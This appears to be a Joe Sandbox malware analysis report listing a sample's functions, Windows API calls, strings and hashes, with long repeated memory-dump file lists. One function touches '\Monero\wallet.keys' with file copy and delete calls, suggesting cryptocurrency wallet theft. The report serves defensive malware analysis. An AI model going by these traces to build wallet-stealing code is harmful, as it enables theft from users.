Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

ShellExecuteEx.SHELL32(0000003C), ref: 001F6726
ExitProcess.KERNEL32 ref: 001F6755

Strings

<, xrefs: 001F66D9

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 9237ff3a191c9cae1d18cb6b52c7aa6b105957476a490990cb046915e4ccd75b
Instruction ID: 357a4493a9276e226eb4f6e9c481f7be3aa54f8473425fb0830cb88ad55e5094
Opcode Fuzzy Hash: 9237ff3a191c9cae1d18cb6b52c7aa6b105957476a490990cb046915e4ccd75b
Instruction Fuzzy Hash: 26312FF1901218ABDB14EB50DC91FEE7778AF54300F804199F70A66191DFB86B49CF6A

Function 001F87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00200E28,00000000,?), ref: 001F882F
RtlAllocateHeap.NTDLL(00000000), ref: 001F8836
wsprintfA.USER32 ref: 001F8850

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Strings

%dx%d, xrefs: 001F8847

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 1cf92ba3dcb8bb28befcd92bcb7720615df9e4906c5f3746581af761572a0545
Instruction ID: 0ebab185a1bd642164eef1f2b1d7056375e834ad1c280c9207a8e46994b961b9
Opcode Fuzzy Hash: 1cf92ba3dcb8bb28befcd92bcb7720615df9e4906c5f3746581af761572a0545
Instruction Fuzzy Hash: 8B213DB1B40208AFDB14DF94DD49FAEBBB8FB48701F504129FA05A7280C779A9118BA5

Function 001F8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,001F951E,00000000), ref: 001F8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 001F8D62
wsprintfW.USER32 ref: 001F8D78

Strings

%hs, xrefs: 001F8D6F

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 4717e79d375ad82bee761036975cdf68dcf2b77640c2f483a1e3117d41646a65
Instruction ID: 720599930072206158ce438aacecc5bbee577be6a8f626930c0a58a3989e3661
Opcode Fuzzy Hash: 4717e79d375ad82bee761036975cdf68dcf2b77640c2f483a1e3117d41646a65
Instruction Fuzzy Hash: 60E08CB0B40208BBD720EB94DC0AE6977B8EB45702F0040A4FE0987280DA719E218B9A

Function 001ED400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Part of subcall function 001F8B60: GetSystemTime.KERNEL32(00200E1A,011D9B18,002005AE,?,?,001E13F9,?,0000001A,00200E1A,00000000,?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001F8B86

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 001ED481
lstrlen.KERNEL32(00000000), ref: 001ED698
lstrlen.KERNEL32(00000000), ref: 001ED6AC
DeleteFileA.KERNEL32(00000000), ref: 001ED72B

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 769fe284c7122ab6ac84ab5eed6eb00211dbe6ae6b5a14cef8b7d3f12c6d360d
Instruction ID: 94144b4d5f083cbddb3dc58ea698dca48de17ebaf3f564f5d5273daec9ab23be
Opcode Fuzzy Hash: 769fe284c7122ab6ac84ab5eed6eb00211dbe6ae6b5a14cef8b7d3f12c6d360d
Instruction Fuzzy Hash: F59115B191010C9BDB14FBA0DC92DFE7338AF24345FD08168F60B66091EF786A19CB66

Function 001F3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 504985dc24514e7d29f157ca12182131c63e9d557a1e545ab8eb3af047cd9b41
Instruction ID: dc510649450b8895976a7026a5706cfd83086bd5971a08602e555897ffe9fa22
Opcode Fuzzy Hash: 504985dc24514e7d29f157ca12182131c63e9d557a1e545ab8eb3af047cd9b41
Instruction Fuzzy Hash: 3B416DB1D1020DEBDB04EFE4D885AFEB774AF54304F408018E61AA6291DB75AA05CFA2

Function 001F7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00200E00,00000000,?), ref: 001F79B0
RtlAllocateHeap.NTDLL(00000000), ref: 001F79B7
GetLocalTime.KERNEL32(?,?,?,?,?,00200E00,00000000,?), ref: 001F79C4
wsprintfA.USER32 ref: 001F79F3

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 2ce646b587c6716fecaed6daf7f1f109d95abb12c3feba1e442dfcba3ee1b776
Instruction ID: 5ff2a2ca18fa2faed26a7fb198a90e4f18e0198eec5e636f7698ba1b5a994cdf
Opcode Fuzzy Hash: 2ce646b587c6716fecaed6daf7f1f109d95abb12c3feba1e442dfcba3ee1b776
Instruction Fuzzy Hash: 34112AB2A04118ABCB14DFC9DD45BBEB7F8FB4CB11F10411AFA05A2280E3795951CBB5

Function 001F92E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(001F3AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,001F3AEE,?), ref: 001F92FC
GetFileSizeEx.KERNEL32(000000FF,001F3AEE), ref: 001F9319
CloseHandle.KERNEL32(000000FF), ref: 001F9327

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 6823eaae6c9c7ee8f1e2c2a88aa5221d3e2950785248c532d0c9efa0a1b14cde
Instruction ID: 6fe28a9f83f098398780b525a231adf0bd55bccbfdd6aca4bf4886b8fddfaabb
Opcode Fuzzy Hash: 6823eaae6c9c7ee8f1e2c2a88aa5221d3e2950785248c532d0c9efa0a1b14cde
Instruction Fuzzy Hash: 4DF04F79F40208BBDB24EFB4DC49FAE77B9BB48710F51C264BA51A72C0DB7096118B44

Function 001FC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 001FC74E

Part of subcall function 001FBF9F: __amsg_exit.LIBCMT ref: 001FBFAF

__getptd.LIBCMT ref: 001FC765
__amsg_exit.LIBCMT ref: 001FC773
__updatetlocinfoEx_nolock.LIBCMT ref: 001FC797

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: f56d48aa3e8cdf90a72d077eef680dbc31ce3ce6353fff615fba4bcddb8869e2
